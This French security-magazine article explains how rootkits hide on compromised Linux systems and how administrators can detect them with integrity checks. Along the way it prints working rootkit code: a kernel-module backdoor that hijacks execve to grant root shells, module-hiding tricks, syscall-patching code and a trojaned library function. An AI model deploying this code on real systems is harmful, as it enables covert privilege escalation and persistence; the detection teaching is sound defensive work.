LinuxFocus article number 263
http://linuxfocus.org

Root-kits et intégrité

par Frédéric Raynal aka Pappy (homepage)

L´auteur:

Frédéric Raynal est titulaire d'un Doctorat en informatique après une thèse sur les outils destinés à la dissimulation d'information. Il est le rédacteur en chef de la revue MISC dédiée à la sécurité informatique. Accessoirement, il est à la recherche d'un emploi dans le domaine de la R&D.

Résumé:

Cet article a été publié dans un numéro spécial sur la sécurité de Linux Magazine France. L'éditeur, les auteurs, les traducteurs ont aimablement accepté que tous les articles de ce numéro hors-série soient publiés dans LinuxFocus. En conséquence, LinuxFocus vous "offrira" ces articles au fur et à mesure de leur traduction en Anglais. Merci à toutes les personnes qui se sont investies dans ce travail. Ce résumé sera reproduit pour chaque article ayant la même origine.

Cet article présente les différentes opérations entreprises par un pirate après qu'il ait réussi à pénétrer sur une machine. Nous verrons également les mesures qu'un administrateur peut prendre pour détecter que la machine est corrompue.

Compromission

Dans cet article, nous partons de l'hypothèse qu'un pirate est parvenu à entrer sur le système, sans nous soucier de la méthode. Nous considérons qu'il dispose de tous les droits (administrateur, root...) sur cette machine. Le système entier n'est alors plus digne de confiance, même si tous ses outils semblent indiquer le contraire. Il a nettoyé ses traces dans les logs... bref, il est installé confortablement sur votre système.

Son premier but va être de se faire le plus discret possible afin que l'administrateur de la machine ne détecte pas sa présence. Ensuite, une fois que ces précautions sont prises, il installe tous les outils dont il a besoin, selon les buts qu'il poursuit. Bien sûr, s'il cherche à détruire les données de la machine, il n'a pas à prendre cette peine.

De son côté l'administrateur ne peut pas rester connecté en permanence sur sa machine, à l'écoute de la moindre connexion. Cependant, il est essentiel qu'il détecte au plus vite tout présence indésirée. En effet, le système compromis sert alors de rampe de lancement pour différents programmes du pirate (bot IRC, DDOS,...). Dans le cas d'un sniffer par exemple, il récupère ainsi tous les paquets qui transitent sur le réseau. Or, de nombreux protocoles ne chiffrent ni les données, ni les mots de passe (comme `telnet`, `rlogin`, `pop3`, et beaucoup d'autres encore). Donc, plus l'attaquant dispose de temps, plus son contrôle s'étend sur le réseau auquel appartient la machine compromise.

Une fois sa présence détectée, un autre problème survient : nous ne savons pas ce que le pirate a modifié sur le système. Il a probablement corrompu les commandes de base et outils de diagnostic pour se dissimuler. Il faut donc posséder une méthode qui garantit de ne pas oublier quoique ce soit, sous peine de voir le système à nouveau compromis.

La dernière question relève des mesures à prendre. Deux politiques s'affrontent. Soit l'administrateur choisit de réinstaller intégralement le système, soit il remplace uniquement les fichiers corrompus. Si une réinstallation complète prend souvent beaucoup de temps, rechercher tous les programmes modifiés, en étant certain de ne pas en oublier, n'en est pas moins minutieux.

Quelle que soit la méthode choisie, il est recommandé de faire une sauvegarde du système corrompu afin de découvrir les méthodes employées par le pirate. De plus, il se peut que cette machine prenne part à une attaque de plus grande envergure, qui entraîne des poursuites à votre égard. Ne pas effectuer la sauvegarde peut alors être assimilé à de la destruction de preuves ... qui pourraient en outre servir à vous innocenter.

L'invisibilité existe ... je l'ai vue !

Nous allons présenter ici quelques unes des différentes méthodes employées pour devenir invisible sur un système compromis et s'assurer de conserver des privilèges maximum sur le système exploité.

Avant d'entrer dans le vif du sujet, précisons tout d'abord quelques termes de vocabulaire :

- *trojan* : il s'agit d'une application qui prend l'apparence d'une autre. Sous couvert d'une fonctionnalité connue de l'utilisateur, le programme entreprend en secret d'autres actions, souvent au détriment de celui-ci. Par exemple, elle peut cacher des données du système afin de dissimuler les connexions en cours.
- *backdoor* : ce terme s'emploie pour décrire un point d'accès non documenté à un programme. En général, il s'agit d'options servant aux développeurs pour atteindre les données manipulées par l'application dans laquelle la backdoor a été implantée.

Une fois sur un système compromis par ses soins, le pirate a besoin de ces deux types de programmes. Les backdoors l'autorisent à entrer sur la machine, même si l'administrateur prend soin de changer tous les mots de passe. Les trojans lui permettent essentiellement de rester invisible.

Dans la suite, nous ne nous soucierons pas de savoir si on parle de trojans ou de backdoors. Notre but est de montrer les techniques qui existent pour les mettre en oeuvre (elles sont essentiellement identiques) et

les détecter.

Enfin, signalons que la plupart des distributions Linux offrent un mécanisme d'authentification (i.e. vérification *à la fois* de l'intégrité des fichiers et de leur provenance - `rpm --checksig` par exemple). Il est fortement recommandé de bien la vérifier avant d'installer quoique ce soit sur votre machine. Si vous récupérez une archive corrompue et que vous l'installez vous-même, le pirate n'aura plus rien à faire :(Par exemple, c'est ce qui se produit sous Windows avec Back Orifice.

Remplacement des binaires

Dans la préhistoire des systèmes Unix, il n'était pas très difficile de détecter la présence d'un intrus sur une machine :

- la commande `last` indique le(s) compte(s) utilisé(s) par l'intrus, ainsi que l'endroit depuis lequel il s'est connecté et les dates associées ;
- `ls` affiche les fichiers et `ps` en révèle les programmes (sniffer, casseur de mots de passe...) ;
- `netstat` affiche les connexions de la machine ;
- `ifconfig` montre si la carte réseau est en mode `promiscuous`, ce qui permet au sniffer de récupérer tous les paquets sur le réseau...

Depuis, les pirates ont développé des outils qu'ils substituent à ces commandes. Tout comme les Grecs ont construit un cheval de bois pour piller Troie, ces programmes ressemblent à une chose connue et en laquelle l'administrateur a confiance. Cependant, ces nouvelles versions dissimulent les informations relatives au pirate. Comme les fichiers conservent les mêmes timestamps (dates de création et de la dernière modification du fichier) que les autre programmes du répertoire, que les checksums n'ont pas changé (via un autre trojan), l'administrateur naïf n'y verra que du feu.

Présentation du `Linux Root-Kit`

`Linux Root-Kit` (`lrk`) est un classique du genre (bien qu'un peu vieux). Développé initialement par Lord Somer, il en est actuellement à sa cinquième version. Il existe de nombreux autres root-kits, et nous ne détaillerons ici que les fonctionnalités apportées par celui-ci afin de vous donner une idée plus précise des capacités de ces outils.

Les commandes remplacées offrent des accès privilégiés sur le système. Pour éviter qu'ils ne se révèlent à une personne utilisant une de ces commandes, ils sont protégés par un mot de passe (`satori` par défaut), configurable lors de la compilation.

- Les programmes de dissimulation cachent les ressources employées par le pirate aux yeux des autres utilisateurs :
  - `ls`, `find`, `locate`, `xargs` ou `du` ne révéleront pas ses fichiers ;
  - `ps`, `top` ou `pidof` dissimuleront ses processus ;
  - `netstat` n'affichera pas les connexions indésirées, en particulier vers les propres démons du pirate, comme `bindshell`, `bnc` ou encore `eggdrop` ;
  - `killall` préservera ses processus ;
  - `ifconfig` ne montrera pas que l'interface est en mode `promiscuous` (la chaîne "`PROMISC`"

apparaît normalement lorsque c'est la cas) ;
    - `crontab` ne listera pas ses travaux ;
    - `tcpd` ne logge pas les connexions spécifiées dans un fichier de configuration ;
    - `syslogd` comme `tcpd`.
- Les backdoors permettent au pirate de changer d'identité :
    - `chfn` ouvre un shell root lorsque le mot de passe du root-kit est entré comme nom d'utilisateur ;
    - `chsh` ouvre un shell root lorsque le mot de passe du root-kit est entré comme nouveau shell ;
    - `passwd` ouvre un shell root lorsque le mot de passe du root-kit est entré comme mot de passe ;
    - `login` autorise le pirate à se connecter sous n'importe quelle identité en fournissant le mot de passe du root-kit (désactive alors l'historique) ;
    - `su` se comporte comme `login` ;
- Les démons offrent au pirate un moyen simple d'accès à distance :
    - `inted` installe un shell root à l'écoute sur un port. Après la connexion, le mot de passe du root-kit doit être saisi en première ligne ;
    - `rshd` exécute la commande demandée en tant que root si le username employé est le mot de passe du root-kit ;
    - `sshd` fonctionne comme `login` mais donne un accès distant ;
- Les utilitaires rendent divers services au pirate :
    - `fix` installe le programme corrompu en conservant le timestamp et la checksum de l'original ;
    - `linsniffer` capture les paquets pour récupérer des mots de passe et autre ;
    - `sniffchk` vérifie que le sniffer fonctionne toujours ;
    - `wted` permet l'édition, et la modification du fichier `wtmp` ;
    - `z2` efface les entrées indésirées dans `wtmp`, `utmp` et `lastlog` ;

Ce root-kit classique est dépassé par ceux de nouvelle génération qui attaquent directement le noyau du système. De plus, les versions des logiciels qu'il affecte ne sont plus d'actualité.

Détection de ce type de root-kit

A condition de mener une politique sécuritaire rigoureuse, ce type de root-kit est facilement détectable. La cryptographie nous fournit, avec les fonctions de hachage, l'outil parfait pour ceci :

```
[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e  ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum ‘which ifconfig‘
f06cf5241da897237245114045368267  /sbin/ifconfig
```

Sans savoir exactement ce qui a été modifié, on constate tout de suite que la version de `ifconfig` installée et celle du `lrk5` diffèrent.

Ainsi, dès que l'installation d'une machine est terminée, il est nécessaire de créer une sauvegarde complète des fichiers sensibles (nous reviendrons sur la notion de "fichier sensible") sous forme de hachés dans une base de données, afin de détecter le plus rapidement possible la moindre altération.

La base de données doit être placée sur un support protégé en écriture **physiquement** (disquette, CD non ré-inscriptible...). Considérons que le pirate a obtenu des droits similaires à ceux de l'administrateur sur

le système. Si la base de données est située sur une partition montée en read-only, il suffit au pirate de la remonter en read-write, de mettre à jour la base puis de remettre la partition en read-only. S'il est consciencieux, il prendra même soin de corriger les timestamps. Ainsi, lorsque vous effectuerez votre prochain test d'intégrité, aucune différence ne sera révélée. Il apparaît alors que même les droits du super-utilisateur ne doivent suffire à mettre à jour la base de données.

Ensuite, lorsque vous mettez à jour votre système, vous faites de même avec cette sauvegarde. De cette manière, si vous contrôlez également l'authenticité de vos mises à jour, vous êtes à même de détecter la moindre modification indésirée.

Cependant, la vérification de l'intégrité d'un système repose deux conditions nécessaires :

1. les hachés calculés à partir des fichiers du système doivent être comparés à des hachés dont l'intégrité ne peut être mise en doute, d'où la nécessité de sauvegarder sur un support en lecture seule la base de données ;
2. les outils employés pour vérifier l'intégrité doivent être sains.

Ainsi, toute vérification du système doit se faire à l'aide d'outils provenant d'un autre système, non compromis.

Utilisation des librairies dynamiques

Comme nous venons de le voir, réussir à se rendre invisible nécessite de modifier beaucoup d'éléments du système. De multiples commandes permettent de détecter la présence d'un fichier, et chacune d'elle doit être modifiée. Il en va de même pour les connexions réseau de la machine ou encore les processus courants. Le moindre oubli s'avère fatal pour la discrétion.

A l'heure actuelle, pour éviter d'avoir des programmes trop gros, la plupart des binaires font appel à des bibliothèques dynamiques. Pour résoudre le problème évoqué précédemment, une solution plus simple consiste à aller modifier non plus chacun des binaires, mais seulement les fonctions nécessaires dans la bibliothèque adéquate.

Prenons l'exemple d'un pirate qui veut modifier l'uptime d'une machine parce qu'il vient de la rebooter. Cette information est fournit par le système via différentes commandes, telles `uptime`, `w`, `top`

Pour connaître les librairies nécessaires à ces binaires, nous nous servons de la commande `ldd` :

```
[pappy]# ldd ‘which uptime‘ ‘which ps‘ ‘which top‘
/usr/bin/uptime:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
```

```
        libc.so.6 => /lib/libc.so.6 (0x40077000)
        libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

Outre la `libc`, la librairie que nous recherchons ici est `libproc.so`. Il suffit alors de récupérer les sources pour aller modifier ce qui nous arrange. Nous utiliserons ici la version 2.0.7, placée dans le répertoire `$PROCPS`.

Les sources de la commande `uptime` (dans `uptime.c`) nous signalent que nous devons trouver la fonction `print_uptime()` (dans `$PROCPS/proc/whattime.c`) puis la fonction `uptime(double *uptime_secs, double *idle_secs)` (dans `$PROCPS/proc/sysinfo.c`). Modifions cette dernière à notre convenance :

```
/* $PROCPS/proc/sysinfo.c */

 1:  int uptime(double *uptime_secs, double *idle_secs) {
 2:    double up=0, idle=1000;
 3:
 4:    FILE_TO_BUF(UPTIME_FILE,uptime_fd);
 5:    if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
 6:      fprintf(stderr, "bad data in " UPTIME_FILE "\n");
 7:      return 0;
 8:    }
 9:
10:  #ifdef _LIBROOTKIT_
11:    {
12:      char *term = getenv("TERM");
13:      if (term && strcmp(term, "satori"))
14:        up+=3600 * 24 * 365 * log(up);
15:    }
16:  #endif /*_LIBROOTKIT_*/
17:
18:    SET_IF_DESIRED(uptime_secs, up);
19:    SET_IF_DESIRED(idle_secs, idle);
20:
21:    return up;       /* assume never be zero seconds in practice */
22:  }
```

Le simple ajout, par rapport à la version initiale, des lignes 12 à 18 incluses change le résultat produit par la fonction. En effet, si la variable d'environnement `TERM` ne contient pas la chaîne "`satori`", alors la variable `up` est incrémentée proportionnellement au logarithme de l'uptime réelle de la machine (avec la formule employée, l'uptime sera assez vite de plusieurs années :)

Pour compiler notre nouvelle bibliothèque, nous avons ajouté les options `-D_LIBROOTKIT_` et `-lm` (pour le `log(up);`). Lorsqu'on regarde avec `ldd` les bibliothèques nécessaires à l'exécution d'un binaire utilisant notre fonction `uptime`, on voit alors que `libm` en fait partie. Malheureusement, ce n'est pas le cas des binaires installés sur le système. Utiliser notre bibliothèque telle quelle conduit à l'erreur suivante :

```
[procps-2.0.7]# ldd ./uptime  //cmd compilée avec la nouvelle libproc.so
        libm.so.6 => /lib/libm.so.6 (0x40025000)
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
        libc.so.6 => /lib/libc.so.6 (0x40052000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd ‘which uptime‘ //cmd d’origine
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
```

```
        libc.so.6 => /lib/libc.so.6 (0x40031000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime  //cmd d'origine
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log
```

Pour ne pas recompiler chacun des binaires, il suffit de forcer l'utilisation de la bibliothèque statique de math lors de la création de `libproc.so` :

```
gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7  alloc.o
compare.o devname.o ksym.o output.o pwcache.o readproc.o signals.o status.o
sysinfo.o version.o whattime.o /usr/lib/libm.a
```

Ainsi, la fonction `log()` est incorporée directement dans `libproc.so`. Il faut que la bibliothèque modifiée conserve les mêmes dépendences que l'originale, sans quoi les binaires qui y font appel ne peuvent plus fonctionner.

```
[pappy]# uptime
  2:12pm  up 7919 days,  1:28,  2 users,  load average: 0.00, 0.03, 0.00

[pappy]# w
  2:12pm  up 7920 days, 22:36,  2 users,  load average: 0.00, 0.03, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:17m  1.02s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:17m  0.02s  0.02s  /bin/cat

[pappy]# top
  2:14pm  up 8022 days, 32 min,  2 users,  load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:  2.9% user,  1.1% system,  0.0% nice, 95.8% idle
Mem:   191308K av,  181984K used,    9324K free,       0K shrd,    2680K buff
Swap:  249440K av,       0K used,  249440K free                   79260K cached

[pappy]# export TERM=satori
[pappy]# uptime
  2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00

[pappy]# w
  2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:20m  1.04s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:20m  0.02s  0.02s  /bin/cat

[pappy]# top
top: Unknown terminal "satori" in $TERM
```

Tout fonctionne presque parfaitement. Il semble que `top` utilise la variable d'environnement `TERM` pour gérer son affichage. Il vaut mieux utiliser une autre variable pour passer le signal indiquant de délivrer la véritable valeur.

La mise en oeuvre nécessaire à la détection de modifications dans les bibliothèques dynamiques est identique à celle évoquée précédemment. Il suffit d'en vérifier le haché. Malheureusement, de trop nombreux administrateurs négligent de les calculer et se contentent des répertoires classiques (`/bin`,

`/sbin`, `/usr/bin`, `/usr/sbin`, `/etc`...) alors que tous les répertoires contenant ces bibliothèques sont tout autant sensibles.

Mais l'intérêt de modifier des bibliothèques dynamiques ne réside pas uniquement dans la possibilité d'influencer plusieurs binaires en même temps. Les programmes qui vérifient l'intégrité font eux aussi parfois appels à de telles bibliothèques. Ceci est très dangereux ! Sur un système sensible, tous les programmes vitaux doivent être compilés en statique, afin que les modifications subies par les bibliothèques ne s'y répercutent pas.

Ainsi, le programme `md5sum` employé précédemment s'avère risqué :

```
[pappy]# ldd ‘which md5sum‘
        libc.so.6 => /lib/libc.so.6 (0x40025000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

Il fait appel dynamiquement à des fonctions de la `libc` qui ont pu être modifiées (le voir avec `nm -D ‘which md5sum‘`). Par exemple, lorsqu'un `fopen()` est effectué, il suffit de vérifier le chemin vers le fichier demandé. S'il correspond à celui d'un programme piraté, alors on le redirige vers le programme initial, que le pirate a pris soin de conserver caché quelque part sur le système.

Cet exemple assez simpliste montre déjà les possibilités offertes pour tromper les tests d'intégrité. Nous avions vu qu'ils devaient être conduits à partir d'outils externes au système compromis (cf. la partie sur les binaires). Nous apprenons maintenant qu'ils ne servent à rien s'ils font eux-même appel à des fonctions du système compromis.

Dès à présent, nous pouvons constituer une trousse d'urgence pour détecter la présence du pirate :

- `ls` pour trouver ses fichiers ;
- `ps` pour contrôler l'activité des processus ;
- `netstat` pour superviser les connexions réseau ;
- `ifconfig` pour connaître l'état des interfaces réseau.

Ces programmes constituent le minimum vital. Cependant, d'autres commandes se révèlent également très instructives :

- `lsof` liste tous les fichiers ouverts sur le système ;
- `fuser` identifie les processus qui utilisent un fichier.

Signalons qu'elles ne servent pas uniquement lorsque nous recherchons à détecter la présence d'un pirate, mais également pour diagnostiquer des pannes sur le système.

Il va de soi que **tous les programmes présents dans la trousse de secours doivent être compilés statiquement**. Nous venons de voir que les bibliothèques dynamiques peuvent être fatales.

Linux Kernel Module (LKM) for fun and profit

De même vouloir modifier tous les binaires capables de détecter la présence d'un fichier, souhaiter

contrôler toutes les fonctions de toutes les bibliothèques relève de l'impossible. "Impossible", dites-vous ? Pas tout à fait. Un petit village résiste encore et toujours à l'envahisseur ... mais plus pour longtemps.

Une nouvelle génération de root-kits a fait son apparition. Ils attaquent directement le noyau.

Portée d'un LKM

Illimitée ! Comme son nom l'indique, un LKM agit directement dans l'espace du noyau, il a donc accès à tout et peut tout contrôler.

Pour un pirate, un LKM permet de :

- rendre invisible des fichiers, comme ceux produit par un sniffer ;
- filtrer le contenu d'un fichier (supprimer son IP des logs, les numéros de ses processus...) ;
- sortir de prison (`chroot`) ;
- dissimuler l'état du système (mode promiscuous) ;
- dissimuler des processus ;
- sniffer ;
- ménager des backdoors...

La liste est aussi longue que le pirate a d'imagination. Cependant, comme c'était déjà le cas avec les méthodes présentées auparavant, un administrateur peut recourir aux mêmes outils, et programmer ses propres modules pour défendre son système :

- contrôler l'ajout et la suppression de modules ;
- superviser la modification de certains fichiers ;
- interdire l'utilisation de programme à certains utilisateurs ;
- ajouter un mécanisme d'authentification pour certaines actions (passer une interface en mode promiscuous...)

Comment se protéger contre les LKMs ? Lors de la compilation, il est possible de désactiver le support des modules (répondre N à `CONFIG_MODULES`) ou bien de ne pas en sélectionner lorsque c'est possible (i.e. ne répondre que Y ou N). Ceci conduit à un noyau dit *monolithique*.

Cependant, même si le noyau ne supporte pas les modules, il est quand même possible d'en charger en mémoire (même si ce n'est pas la chose la plus simple). Silvio Cesare a écrit le programme `kinsmod` qui permet d'aller attaquer directement le noyau via le device `/dev/kmem` qui gère la mémoire occupée par celui-ci (lire runtime-kernel-kmem-patching.txt sur sa page).

Pour résumer la programmation de modules, tout repose sur deux fonctions au nom assez explicite : `init_module()` et `cleanup_module()`. Elles définissent le comportement du module. Mais surtout, comme elles sont exécutées dans l'espace du noyau, elles ont accès à tout ce qui se passe dans la mémoire du noyau, comme les appels système ou les symboles.

Par ici l'entrée s'il vous plaît !

Nous allons présenter l'installation d'une backdoor via un lkm. L'utilisateur qui voudra obtenir un shell root n'aura qu'à exécuter la commande `/etc/passwd`. Certes, ce fichier n'est pas une commande.

Cependant, comme nous détournons l'appel système `sys_execve()`, nous le redirigeons vers la commande `/bin/sh`, en s'arrangeant pour transmettre les droits root sur ce shell.

Ce module a été testé sur plusieurs noyaux~: 2.2.14, 2.2.16, 2.2.19, 2.4.4. Il fonctionne parfaitement sur tous ces noyaux. Cependant, sur un 2.2.19smp-ow1 (multi-processeurs avec patch Openwall), si un shell est bien ouvert, il ne donne pas les privilèges root :(Le noyau est vraiment quelque chose de sensible et fragile, alors prenez garde à ce que vous faites ... Par ailleurs, les fichiers indiqués le sont par rapport à l'arborescence classique des sources du noyau.

```
/* rootshell.c */
#define MODULE
#define __KERNEL__

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>

#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include <linux/slab.h>
#endif

int (*old_execve)(struct pt_regs);

extern void *sys_call_table[];

#define ROOTSHELL "[rootshell] "

char magic_cmd[] = "/bin/sh";

int new_execve(struct pt_regs regs) {
  int error;
  char * filename, *new_exe = NULL;
  char hacked_cmd[] = "/etc/passwd";

  lock_kernel();
  filename = getname((char *) regs.ebx);

  printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename,
         current->uid, current->euid, current->suid, current->fsuid,
         current->gid, current->egid, current->sgid, current->fsgid);

  error = PTR_ERR(filename);
  if (IS_ERR(filename))
    goto out;

  if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
    printk(ROOTSHELL " Got it :)))\n");
    current->uid = current->euid = current->suid = current->fsuid = 0;
    current->gid = current->egid = current->sgid = current->fsgid = 0;

    cap_t(current->cap_effective) = ~0;
```

```
    cap_t(current->cap_inheritable) = ~0;
    cap_t(current->cap_permitted) = ~0;

    new_exe = magic_cmd;
  } else
    new_exe = filename;

  error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, &regs);
  if (error == 0)
#ifdef PT_DTRACE        /* 2.2 vs. 2.4 */
    current->ptrace &= ~PT_DTRACE;
#else
  current->flags &= ~PF_DTRACE;
#endif
   putname(filename);
 out:
  unlock_kernel();
  return error;
}

int init_module(void)
{
  lock_kernel();

  printk(ROOTSHELL "Loaded :)\n");

#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
                   sys_call_table[__NR_##x] = new_##x

  REPLACE(execve);

  unlock_kernel();
  return 0;
}

void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
  RESTORE(execve);

  printk(ROOTSHELL "Unloaded :(\n");
}
```

Vérifions que tout fonctionne comme nous le souhaitons :

```
[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#
```

Après cette courte démonstration, jetons également un coup d'oeil au contenu du fichier `/var/log/kernel`, chargé par `syslogd` d'enregistrer tous les messages émis par le noyau (`kern.*`

/var/log/kernel dans /etc/syslogd.conf) :

```
May 25 11:24:41 charly kernel: [rootshell] Loaded :)
May 25 11:24:53 charly kernel: [rootshell]  ./usr/bin/id. (500/500/500/500)
(100/100/100/100)
May 25 11:24:59 charly kernel: [rootshell]  ./etc/passwd. (500/500/500/500)
(100/100/100/100)
May 25 11:24:59 charly kernel: [rootshell]  Got it :)))
May 25 11:25:02 charly kernel: [rootshell]  ./usr/bin/id. (0/0/0/0) (0/0/0/0)
May 25 11:25:07 charly kernel: [rootshell]  ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
May 25 11:25:10 charly kernel: [rootshell] Unloaded :(
```

En modifiant légèrement ce module, un administrateur dispose d'un excellent outil de surveillance. En effet, toutes les commandes lancées sur le système sont enregistrées dans les logs du noyau. Le registre `regs.ecx` contient `**argv` et `regs.edx` `**envp`, ce qui, avec la structure `current` qui décrit la tâche en cours, permet d'obtenir toutes les informations nécessaires pour savoir à chaque instant ce qui se passe.

Détection et prévention

Du point de vue administrateur, le test d'intégrité ne permet plus de découvrir la présence de ce module (en fait, ce n'est pas tout à fait exact car ce module est très simple). Nous allons donc analyser les traces potentiellement laissées par de tels root-kits :

- fichiers cachés : `rootshell.o` n'est pas invisible sur le système de fichier parce que ce module est simpliste. Toutefois, il suffit de redéfinir `sys_getdents()` pour rendre notre fichier indétectable ;
- processus visibles : le shell ouvert ici apparaît dans la liste des tâches, ce qui peut révéler une présence indésirée sur le système. En redéfinissant `sys_kill()` et un nouveau signal `SIGINVISIBLE`, il suffit ensuite d'ignorer tous les accès à des fichiers marqués dans `/proc` (voir le lrk `adore`) ;
- présent dans la liste des modules : la commande `lsmod` fournit une liste des modules présents en mémoire :

```
[root@charly module]$ lsmod
Module                  Size  Used by
rootshell               832   0  (unused)
emu10k1                41088   0
soundcore               2384   4  [emu10k1]
```

Quand un module est chargé, il est placé en tête de la liste `module_list` contenant tous les modules présents en mémoire puis son nom est ajouté au fichier `/proc/modules`. `lsmod` parcourt ce dernier à la recherche d'informations. Retirer ce module de `module_list` permet de le faire disparaître de `/proc/modules` :

```
int init_module(void) {
  [...]
  if (!module_list->next)  //this is the only module :(
    return -1;

  // This works fine because __this_module == module_list
  module_list = module_list->next;
  [...]
}
```

Malheureusement, cette manipulation interdit de retirer ensuite le module de la mémoire, à moins d'en conserver l'adresse quelque part.

- symboles dans `/proc/ksyms` : ce fichier contient la liste des symboles accessibles dans l'espace du noyau :

```
[...]
e00c41ec magic_cmd      [rootshell]
e00c4060 __insmod_rootshell_S.text_L281 [rootshell]
e00c41ec __insmod_rootshell_S.data_L8   [rootshell]
e00c4180 __insmod_rootshell_S.rodata_L107       [rootshell]
[...]
```

La macro `EXPORT_NO_SYMBOLS`, définie dans `include/linux/module.h`, signale au compilateur qu'aucune fonction ou variable définie dans le fichier n'est accessible en dehors du module lui-même :

```
int init_module(void) {
  [...]
  EXPORT_NO_SYMBOLS;
  [...]
}
```

Cependant, sur les noyaux 2.2.18, 2.2.19 et 2.4.x (x<=3 - je ne sais pas pour les autres), les symboles `__insmod_*` restent visibles. Retirer le module de `module_list` efface également les symboles exportés de `/proc/ksyms`.

Les problèmes/solutions présentés ici s'appuient sur des commandes issues de l'espace utilisateur. Un bon LKM utilisera toutes ces techniques pour se rendre invisible.

Il existe toutefois deux solutions pour détecter ces root-kits. La première consiste à utiliser le device `/dev/kmem` pour comparer ce qui est présent dans cette image de la mémoire du noyau avec ce qui est déclaré publiquement dans `/proc`. Un outil comme `kstat` permet d'aller fouiller dans `/dev/kmem` pour vérifier les processus présents sur le système, les adresses des appels système ... L'article Detecting Loadable Kernel Modules (LKM) de Toby Miller décrit comment utiliser `kstat` pour détecter de tels root-kits.

Une autre approche consiste à détecter toute tentative de modifications de la table des appels système. Le module `St_Michael` de Tim Lawless propose une telle supervision. Les informations qui suivent sont susceptibles de changer car le module est encore en cours d'élaboration à l'heure de la rédaction de cet article.

Comme nous l'avons vu sur l'exemple précédent, les lkms root-kits reposent sur la modification de la table des appels système. Une première solution consiste alors à sauvegarder leur adresse dans un tableau secondaire et à redéfinir les appels qui gèrent les modules `sys_init_module()` et `sys_delete_module()`. Ainsi, après le chargement de chaque module, on vérifie que l'adresse coïncide toujours :

```
/* Extrait du module St_Michael de Tim Lawless */

asmlinkage long
```

```
sm_init_module (const char *name, struct module * mod_user)
{
  int init_module_return;
  register int i;

  init_module_return = (*orig_init_module)(name,mod_user);

  /*
     Verify that the syscall table is the same.
     If its changed then respond

     We could probably make this a function in itself, but
     why spend the extra time making a call?
  */

  for (i = 0; i < NR_syscalls; i++) {
    if ( recorded_sys_call_table[i] != sys_call_table[i] ) {
      int j;
      for ( i = 0; i < NR_syscalls; i++)
        sys_call_table[i] = recorded_sys_call_table[i];
      break;
    }
  }
  return init_module_return;
}
```

Cette solution permet de se prémunir contre les lkm root-kits actuels mais elle est loin d'être parfaite. La sécurité est une sorte de course à l'armement, et voici un moyen de contourner cette protection. Plutôt que de modifier l'adresse de l'appel système, pourquoi ne pas modifier le code d'appel système lui-même ? Cette technique est décrite dans stealth-syscall.txt de Silvio Cesare. L'attaque remplace les premiers octets du code de l'appel système par l'instruction "`jump &new_syscall`" (ici en pseudo Assembleur) :

```
/* Extrait de stealth_syscall.c (Linux 2.0.35) par Silvio Cesare */

static char new_syscall_code[7] =
       "\xbd\x00\x00\x00\x00"  /*      movl   $0,%ebp  */
       "\xff\xe5"              /*      jmp    *%ebp    */
;

int init_module(void)
{
  *(long *)&new_syscall_code[1] = (long)new_syscall;
  _memcpy(syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code));
  _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code));
  return 0;
}
```

Tout comme nous protégeons nos binaires et bibliothèques avec des tests d'intégrité, la même démarche s'impose ici. Il nous faut conserver un haché du code machine de chaque appel système. Nous travaillons actuellement à cette mise en oeuvre dans `St_Michael` en modifiant l'appel-système `init_module()` de sorte à ce qu'un test d'intégrité soit effectué après le chargement de chaque module.

